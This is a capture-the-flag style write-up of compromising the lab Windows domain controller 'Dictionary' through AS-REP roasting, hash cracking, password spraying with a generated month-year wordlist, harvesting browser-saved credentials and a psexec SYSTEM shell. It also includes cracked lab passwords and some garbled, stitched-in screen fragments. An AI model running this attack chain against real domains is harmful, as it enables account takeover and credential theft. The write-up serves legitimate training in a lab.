

Dictionary

Nmap Scan:

```
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ rustscan -a 172.31.3.4
[O] [U] [G] [C] [S] [C] [E] [A] [N]
The Modern Day Port Scanner.
: https://discord.gg/GFrQsGy
: https://github.com/RustScan/RustScan
-----
Real hackers hack time
[!] The config file is expected to be at "/home/mark/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 172.31.3.4:53
Open 172.31.3.4:88
Open 172.31.3.4:135
Open 172.31.3.4:139
Open 172.31.3.4:389
Open 172.31.3.4:445
Open 172.31.3.4:464
Open 172.31.3.4:593
Open 172.31.3.4:636
Open 172.31.3.4:3268
Open 172.31.3.4:3269
Open 172.31.3.4:3389
Open 172.31.3.4:5985
Open 172.31.3.4:9389
Brute 172.31.3.9
Roast 172.31.3.2
Spray 172.31.3.6
Sync 172.31.3.6

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ nmap -sCV 172.31.3.4 -p53,88,135,139,445,464,593,636,3268,3269,3389,5985,9389 -oN nmapscan -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2022-12-14 15:53 WAT
Nmap scan report for 172.31.3.4
Host is up (0.44s latency).

PORT      STATE SERVICE          VERSION
53/tcp    open  domain          Simple DNS Plus
88/tcp    open  kerberos-sec    Microsoft Windows Kerberos (server time: 2022-12-14 14:53:28Z)
135/tcp   open  msrpc           Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds?   Microsoft Windows netbios-ssn
464/tcp   open  kpasswd5?       Microsoft Windows RPC over HTTP 1.0
593/tcp   open  ncacn_http      Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap            Microsoft Windows Active Directory LDAP (Domain: Dictionary.csl0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
3389/tcp  open  ms-wbt-server   Microsoft Terminal Services
|_ssl-date: 2022-12-14T14:54:35+00:00; -1s from scanner time.
|_ssl-cert: Subject: commonName=Dictionary-DC.Dictionary.csl
| Not valid before: 2022-12-13T14:47:55
| Not valid after: 2023-06-14T14:47:55
5985/tcp  open  http            Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf          .NET Message Framing
Service Info: Host: DICTIONARY-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -2s, deviation: 1s, median: -3s
|_smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_ smb2-time:
| date: 2022-12-14T14:53:58
|_ start_date: N/A
|_nbstat: NetBIOS name: DICTIONARY-DC, NetBIOS user: <unknown>, NetBIOS MAC: 02:1f:52:1a:a6:d4 (unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 91.64 seconds

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$
```

From the result we can see its a windows box in an AD environment.

So lets start enumerating from port 445 which is smb. But unfortunately anonymous listing of share is not possible.

```
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ smbclient -L Dictionary.csl
Password for [WORKGROUP\mark]:
Anonymous login successful

Challenge Lab
-----
Sharename      Type      Comment
-----
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to Dictionary.csl failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$
Pipercoin 172.31.3.10
Spray 172.31.3.9
```

So the next thing to do is to enumerate the domain users. I'll be using kerbrute for the enumeration.

And from the result we see 2 valids users and one of the user which is **izabel** has no pre auth set meaning we can leverage this to perform ASREPROAST attack.

```

Kali Linux  Kali Tools  Kali Docs  Kali Forums  Kali NetHunter  Exploit-DB  Google Hacking DB  GitStack 2.3.10
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ kerbrute userenum -d Dictionary.csl --dc 172.31.3.4 users

Version: dev (9cfb81e) - 12/14/22 - Ronnie Flathers @ropnop

2022/12/14 16:17:03 > Using KDC(s):
2022/12/14 16:17:03 > 172.31.3.4:88

2022/12/14 16:17:03 > [+] VALID USERNAME: administrator@Dictionary.csl
2022/12/14 16:17:03 > [+] izabel has no pre auth required. Dumping hash to crack offline:
$krb5asrep$18$izabel@DICTIONARY.CSL:8e43709a234206dbde1d8aa22def0c3b$56bb9566467dcc84eb1ea307f
be5c4b77a266ad7d8b26497b745637829672e42208a2cc2ef4d1b4fb5b426c714ca977babcd5a597b93c10eaaaa24e
9e63b12badfdd47aa4eb0782e04481869e15114e710bd63afbc198ce0e3e7830011403d012b6995c82cee947c343aa
56216f09b451af9579eada8ec48b3e8bfa5ff30d23c8ed01b5d6510071b3d8245b6863259f9ceb0c799923ec6871ca
c569adddec7163924b223a7a2a10c40ee9404e913a350bde69b2e6a84fcc833e6ce9cce33ee95128e4c030186f78a
3b3dcf4d3a5ddabc83f47f1101d1937f0fbbca8bd6f0a045acde29abf794a5c3ff7d70f04e0fb17c622eec9415517f
2d349ed0c81b04ecf3857df58
2022/12/14 16:17:03 > [+] VALID USERNAME: izabel@Dictionary.csl
2022/12/14 16:17:03 > Done! Tested 2 usernames (2 valid) in 0.358 seconds

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$

```

Using `impacket-getnpusers` we will be able to dump the user's hash.

```

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ impacket-GetNPUsers Dictionary.csl/ -no-pass -usersfile users -format john
Impacket v0.10.1.dev1+20220720.103933.3c6713e - Copyright 2022 SecureAuth Corporation

[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$izabel@DICTIONARY.CSL:5937bad0f840a91c0952298de38d2451$811746366336be44396606bbf493
c1d62e7188ef2815c920b25dab3ad12ecc6ce506f2851d842e2cc64db8012d171fe245eded0e2c1c371332633deabf
2e4c3a125d37b490be2478162a668fc9697040885abfed262a596fc1d1290a27bf4e293fcc08f85ab40771b7ddc701
5d3b0c7c414e357b75a39db5121cc5c9e852bac7c959f870c39e3e66c91f42c80aa2fd1ee63e4144d0a586abbe6018
344d891087b4b5659c790547a80005b62eccbd46a1e10745131bfed5db8bcd7ca8bbfbcaac581b5b051348911579fa
58d8185b66c3738797ab4091b94535702a7812fb6178bcd2048bc016a6f5f0c2d7bb2b86888f

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$

```

Now saving the hash in a file and brute forcing it using `john the ripper` we should get the user password's.

```
CTF / CyberSecLabs / Windows / Challenge Lab / Dictionary
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ cat hash
$krb5asrep$izabel@DICTIONARY.CSL:5937bad0f840a91c0952298de38d2451$811746366336be44396606bbf493
c1d62e7188ef2815c920b25dab3ad12ecc6ce506f2851d842e2cc64db8012d171fe245eded0e2c1c371332633deabf
2e4c3a125d37b490be2478162a668fc9697040885abfed262a596fc1d1290a27bf4e293fcc08f85ab40771b7ddc701
5d3b0c7c414e357b75a39db5121cc5c9e852bac7c959f870c39e3e66c91f42c80aa2fd1ee63e4144d0a586abbe6018
344d891087b4b5659c790547a80005b62eccbd46a1e10745131bfed5db8bcd7ca8bbfbcaac581b5b051348911579fa
58d8185b66c3738797ab4091b94535702a7812fb6178bcd2048bc016a6f5f0c2d7bb2b86888f

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ john -w=/home/mark/Documents/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2
HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
June2013 ($krb5asrep$izabel@DICTIONARY.CSL)
1g 0:00:04:00 DONE (2022-12-14 16:23) 0.004162g/s 45822p/s 45822c/s 45822C/s Jupiter00..June19
67
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$
```

So I tried connecting to winrm using the credential but it didn't work.

```
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ evil-winrm -u izabel -p June2013 -i 172.31.3.4

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc()
function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm
#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthor
izationError

Error: Exiting with code 1

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$
```

So now lets check out if we can connect to smb using the credential we have.

```

(mark@haxor)~[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ smbclient -L Dictionary.csl -U izabel
Password for [WORKGROUP\izabel]:
Sharename      Type      Comment
-----
ADMIN$         Disk     Remote Admin
C$             Disk     Default share
IPC$           IPC      Remote IPC
NETLOGON      Disk     Logon server share
SYSVOL        Disk     Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to Dictionary.csl failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
(mark@haxor)~[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$

```

We have access to smb now lets spider the shares using crackmapexec.

```

(mark@haxor)~[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ crackmapexec smb 172.31.3.4 -u izabel -p June2013 -M spider_plus
SMB 172.31.3.4 445 DICTIONARY-DC [*] Windows 10.0 Build 17763 x64 (name:DICTIONARY-DC) (domain:Dictionary.csl) (signing:True) (SMBv1:False)
SMB 172.31.3.4 445 DICTIONARY-DC [+] Dictionary.csl\izabel:June2013
SPIDER_P... 172.31.3.4 445 DICTIONARY-DC [*] Started spidering plus with option:
SPIDER_P... 172.31.3.4 445 DICTIONARY-DC [*] DIR: ['print$']
SPIDER_P... 172.31.3.4 445 DICTIONARY-DC [*] EXT: ['ico', 'lnk']
SPIDER_P... 172.31.3.4 445 DICTIONARY-DC [*] SIZE: 51200
SPIDER_P... 172.31.3.4 445 DICTIONARY-DC [*] OUTPUT: /tmp/cme_spider_plus

```

But in reading the result I got nothing from it.

```
177     "atime_epoch": "1601-01-01 00:13:35",
178     "ctime_epoch": "1601-01-01 00:13:35",
179     "mtime_epoch": "1601-01-01 00:13:35",
180     "size": "3 Bytes"
181   },
182   "srvsvc": {
183     "atime_epoch": "1601-01-01 00:13:35",
184     "ctime_epoch": "1601-01-01 00:13:35",
185     "mtime_epoch": "1601-01-01 00:13:35",
186     "size": "4 Bytes"
187   },
188   "wkssvc": {
189     "atime_epoch": "1601-01-01 00:13:35",
190     "ctime_epoch": "1601-01-01 00:13:35",
191     "mtime_epoch": "1601-01-01 00:13:35",
192     "size": "4 Bytes"
193   }
194 },
195 "NETLOGON": {},
196 "SYSVOL": {
197   "Dictionary.csl/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/GPT.INI": {
198     "atime_epoch": "2020-06-04 19:58:28",
199     "ctime_epoch": "2020-06-04 19:30:43",
200     "mtime_epoch": "2020-06-04 19:58:28",
201     "size": "22 Bytes"
202   },
203   "Dictionary.csl/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
204     "atime_epoch": "2020-06-04 19:58:28",
205     "ctime_epoch": "2020-06-04 19:30:43",
206     "mtime_epoch": "2020-06-04 19:58:28",
207     "size": "1.07 KB"
208   },
209   "Dictionary.csl/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Registry.pol": {
210     "atime_epoch": "2020-06-04 19:37:26",
211     "ctime_epoch": "2020-06-04 19:37:26",
212     "mtime_epoch": "2020-06-04 19:57:40",
213     "size": "2.73 KB"
214   },
215   "Dictionary.csl/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/GPT.INI": {
216     "atime_epoch": "2020-06-04 19:30:43",
217     "ctime_epoch": "2020-06-04 19:30:43",
218     "mtime_epoch": "2020-06-04 19:57:38",
219     "size": "22 Bytes"
220   },
221   "Dictionary.csl/Policies/{6AC1786C-016F-11D2-945F-00C04FB984F9}/MACHINE/Microsoft/Windows NT/SecEdit/GptTmpl.inf": {
222     "atime_epoch": "2020-06-04 19:30:43",
223     "ctime_epoch": "2020-06-04 19:30:43",
224     "mtime_epoch": "2020-06-04 19:57:38",
225     "size": "3.68 KB"
226   }
227 }
228 }
229 }
```

Now the next thing I did was to enumerate the domain controller using rpcclient.

```
CTF
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ rpcclient --user=izabel --password=June2013 172.31.3.4
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[Izabel] rid:[0x44f]
user:[CValencia] rid:[0x450]
user:[BACKUP-Izabel] rid:[0x451]
rpcclient C$>
```

So at this point I tried checking for ASREPROAST using the new users I found but it wasn't successful.

So I decided to use rpcclient and check for domain properties.

And the first thing I checked was the password policy because the user's hash we brute force seemed to follow a pattern which is month and year **June2013**.

And from the result we can see there's no really password policy in place only the minimum password length requirement which is at least 7.

```
rpcclient $> getdompwininfo
min_password_length: 7
password_properties: 0x00000000
rpcclient $>
```

```
Challenge CTF CyberSec
207 "mtime_epoch"
208 "size": "1.07
209 },
210 "Dictionary.csl/P
211 "atime_epoch"
212 "ctime_epoch"
213 "mtime_epoch"
214 "size": "2.73
215 },
```

So next thing to think of is to attempt brute force attack on all the users gotten. But since we saw a pattern in the password we can try creating a wordlist that follows that pattern also.

So I used python to generate the wordlist.

```
GNU nano 6.3 wordlist.py
#!/usr/bin/python3
months = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December']
years = ['2013', '2014', '2015', '2016', '2017', '2018', '2019', '2020', '2021', '2022']
with open('wordlist.txt', 'w') as wordlist:
    for month in months:
        for year in years:
            password = month + year
            wordlist.write(f'{password}\n')
```

So what this does is that it creates a file names wordlist.txt which has writable permission then loops through the months and year arrays adding them together then writing it into the file it created which is wordlist.txt.

Now lets run the script.

```

CTF
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ python3 wordlist.py
Proving Grounds
user:[CValencia] rid:[0x450]
user:[BACKUP-Izabel] rid:[0x451]
IPC$

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ l wordlist.txt
wordlist.txt

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ wc -l wordlist.txt
120 wordlist.txt

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ head wordlist.txt
January2013
January2014
January2015
January2016
January2017
January2018
January2019
January2020
January2021
January2022

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$

```

We can now attempt brute force against the users using crackmapexec on smb using the wordlist we created

```

CTF
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ crackmapexec smb 172.31.3.4 -u users -p wordlist.txt
SMB 172.31.3.4 445 DICTIONARY-DC [*] Windows 10.0 Build 17763 x64 (name:D
DICTIONARY-DC) (domain:Dictionary.csl) (signing:True) (SMBv1:False)
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January
2013 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January
2014 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January20
15 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January20
16 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January20
17 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January20
18 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January20
19 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January20
20 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January20
21 STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\administrator:January20
22 STATUS_LOGON_FAILURE

```

After a while we successfully brute force the user BACKUP-Izabel password

```

ATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.cs\BACKUP-Izabel:dsodk STA
TUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.cs\BACKUP-Izabel:ad STATUS
_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.cs\BACKUP-Izabel:asofkaskf
pafk STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.cs\BACKUP-Izabel:fasnfkanf
STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.cs\BACKUP-Izabel:faslfa ST
ATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.cs\BACKUP-Izabel:sl STATUS
_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.cs\BACKUP-Izabel:smf STATU
S_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [+] Dictionary.cs\BACKUP-Izabel:October20
19

```

Now lets login via winrm using evil-winrm.

```

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ evil-winrm -u BACKUP-Izabel -p October2019 -i Dictionary.cs\
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function
is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-
-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\BACKUP-Izabel\Documents> whoami
dictionary\backup-izabel
*Evil-WinRM* PS C:\Users\BACKUP-Izabel\Documents>

```

Next thing is to upload winPEAS to the host then run it. On running it we get some firefox saved credential

```

Eiifiiiiiii1 Showing saved credentials for Firefox
Url: https://www.cyberseclabs.co.uk
Username: l33tHax
Password: iHgPVQivZw7wpEd

=====
Url: https://www.cyberseclabs.co.uk
Username: iAmRoot
Password: LUp2KhdP

=====
Url: https://www.cyberseclabs.co.uk
Username: Piper
Password: NotADuck
172.31.3.4 x7VtnCWZ

=====
Url: https://www.cyberseclabs.co.uk
Username: EpicL_yep
Password: kC7pbrQAsTT

```

So lets save each password in our machine then attempt to brute force the Administrator user with the passwords.

And from the result we see that we have the Administrator password which has access to all shares in the smb server.

```
[X] Exception: Couldn't parse nt_resp. Len: 0 Message bytes: 4e544c4d535350000300000010001
20a006345000000f8e7ecd50294dce5e7a76184a3a334d3440049004300540049004f004e004100520059002d00

Browsers Information

Showing saved credentials for Firefox
Url: https://www.cyberseclabs.co.uk
Username: l33tHax
Password: lHgPVQlvZw7wpEd

Showing saved credentials for Firefox
Url: https://www.cyberseclabs.co.uk
Username: iAmRoot
Password: LUp2KhdP

Showing saved credentials for Firefox
Url: https://www.cyberseclabs.co.uk
Username: NotADuck
Password: x7VtnCWZ

Showing saved credentials for Firefox
Url: https://www.cyberseclabs.co.uk
Username: EpicL_yep
Password: KC7pbrQAsTT

Looking for Firefox DBs
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-
Firefox credentials file exists at C:\Users\BACKUP-Izabel\AppData\Roaming\Mozilla\Firefox
Run SharpWeb (https://github.com/djhohnstein/SharpWeb)

Looking for GET credentials in Firefox history
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-
[x] IO exception, places.sqlite file likely in use (i.e. Firefox is likely running).

Showing saved credentials for Chrome
Info: If no credentials were listed, you might need to close the browser and try again.

Looking for Chrome DBs
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#browsers-
Not Found

Looking for GET credentials in Chrome history:

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ cat pass
lHgPVQlvZw7wpEd
LUp2KhdP
x7VtnCWZ
KC7pbrQAsTT

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ crackmapexec smb 172.31.3.4 -u Administrator -p pass
SMB 172.31.3.4 445 DICTIONARY-DC [*] Windows 10.0 Build 17763 x64 (name:DI
TIONARY-DC) (domain:Dictionary.csl) (signing:True) (SMBv1:False)
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\Administrator:lHgPVQlvZ
w7wpEd STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\Administrator:LUp2KhdP
STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [-] Dictionary.csl\Administrator:x7VtnCWZ
STATUS_LOGON_FAILURE
SMB 172.31.3.4 445 DICTIONARY-DC [+] Dictionary.csl\Administrator:KC7pbrQAs
TT (Pwn3d!)

(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$
```

So lets login to the host as administrator using the credential we have. So we can use rdp,winrm but in this case let me use psexec.

```
(mark@haxor)-[~/.../B2B/CyberSecLabs/Windows/Dictionary]
$ impacket-psexec Dictionary.csl/Administrator:KC7pbrQAsTT@172.31.3.4
Impacket v0.10.1.dev1+20220720.103933.3c6713e - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 172.31.3.4.....
[*] Found writable share ADMIN$
[*] Uploading file vVUetStz.exe
[*] Opening SVCManager on 172.31.3.4.....
[*] Creating service TFKR on 172.31.3.4.....
[*] Starting service TFKR.....
[!] Press help for extra shell commands
kMicrosoft Windows [Version 10.0.17763.737]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

C:\Windows\system32>
```

And we're done :)